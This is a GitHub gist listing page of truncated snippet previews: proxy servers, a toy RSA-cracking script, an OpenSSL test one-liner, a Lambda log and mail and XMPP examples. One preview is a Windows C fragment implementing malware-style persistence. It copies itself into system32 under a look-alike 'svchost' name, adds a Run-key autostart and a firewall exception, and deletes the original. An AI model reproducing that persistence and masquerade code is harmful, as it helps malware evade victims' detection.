Skip to content

Instantly share code, notes, and snippets.

@kostyll
kostyll / .gitignore
Last active October 22, 2015 12:57 — forked from kstep/html.py
*.pyc
@kostyll
kostyll / rsacrack.py
Created October 28, 2015 17:25 — forked from dendisuhubdy/rsacrack.py
Cracking the RSA cyprtosystem time
import gmpy, time, random, math
def genprime(bits):
p=1
while(gmpy.is_prime(p)==0):
p = random.randrange(math.pow(2,bits-1),math.pow(2,bits))
return p
BITS=20
found=False
@kostyll
kostyll / main.py
Created November 17, 2015 08:14 — forked from gear11/main.py
Simple Python proxy server based on Flask and Requests. See: http:/python-proxy-server/gear11.com/2013/12/python-proxy-server/
"""
A simple proxy server. Usage:
http://hostname:port/p/(URL to be proxied, minus protocol)
For example:
http://localhost:8080/p/www.google.com
"""
@kostyll
kostyll / proxy.py
Created November 17, 2015 08:17 — forked from bxt/proxy.py
A very basic caching python HTTP proxy server.
# Originally from http://sharebear.co.uk/blog/2009/09/17/very-simple-python-caching-proxy/
#
# Usage:
# A call to http://localhost:80000/example.com/foo.html will cache the file
# at http://example.com/foo.html on disc and not redownload it again.
# To clear the cache simply do a `rm *.cached`. To stop the server simply
# send SIGINT (Ctrl-C). It does not handle any headers or post data.
import BaseHTTPServer
import hashlib
@kostyll
kostyll / gist:8efcede1375e7021044ba209f32a0b00
Created April 26, 2016 14:09 — forked from claudijd/gist:6ce45deabb154ceb7efa
Good one-liner for OpenSSL s_server testing
openssl req -nodes -x509 -newkey rsa:2048 -keyout server.pem -out server.pem -days 1 && openssl s_server -tls1 -www -accept 1337
Log output
The area below shows the logging calls in your code. These correspond to a single row within the CloudWatch log group corresponding to this Lambda function. Click here to view the CloudWatch log group.
START RequestId: 2644abca-b08d-11e5-a8cb-e1cccca020f0 Version: $LATEST
Unable to import module 'lambda_function': No module named lambda_function
END RequestId: 2644abca-b08d-11e5-a8cb-e1cccca020f0
REPORT RequestId: 2644abca-b08d-11e5-a8cb-e1cccca020f0 Duration: 72.41 ms Billed Duration: 100 ms Memory Size: 128 MB Max Memory Used: 8 MB
#include <windows.h>
#if define UNICODE
#define RegOpenKeyEx RegOpenKeyExW
#define RegCreateKeyEx RegCreateKeyExW
#define RegDeleteKey RegDeleteKeyW
#else
#define RegOpenKeyEx RegOpenKeyExA
#define RegCreateKeyEx RegCreateKeyExA
#define RegDeleteKey RegDeleteKeyA
bool Autorun(char *Path) // complex stealth method: moving to %system32%, autorun, making firewall exception and destruction of first instance
{
HKEY key;
char runkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char valuename[] = "svchost";
char filename[61];
char Win_Dir[33];
GetSystemDirectory(Win_Dir, sizeof Win_Dir);
sprintf(filename,"%s\\sv�host.exe", Win_Dir);
if (strcmp(filename, Path) == 0)
@kostyll
kostyll / MyMailMessage.cpp
Created June 1, 2016 13:27 — forked from jsolid/MyMailMessage.cpp
POCO library: Calling from .cpp
/**
* @name EmailInbound (Mail Message Handler for POCO)
* @description Receive and sort emails
*/
#include "MyMailMessage.h"
/**
* POCO::Net::MailMessage
*/
@kostyll
kostyll / jabtest.py
Created September 9, 2016 16:52 — forked from deckerego/jabtest.py
An example of using Jabber/XMPP communication with Python
import sleekxmpp
class Jabber(sleekxmpp.ClientXMPP):
def __init__(self, username, password, instance_name=None):
jid = "%s/%s" % (username, instance_name) if instance_name else username
super(Jabber, self).__init__(jid, password)
self.instance_name = instance_name
self.add_event_handler('session_start', self.start, threaded=False, disposable=True)
self.add_event_handler('message', self.receive, threaded=True, disposable=False)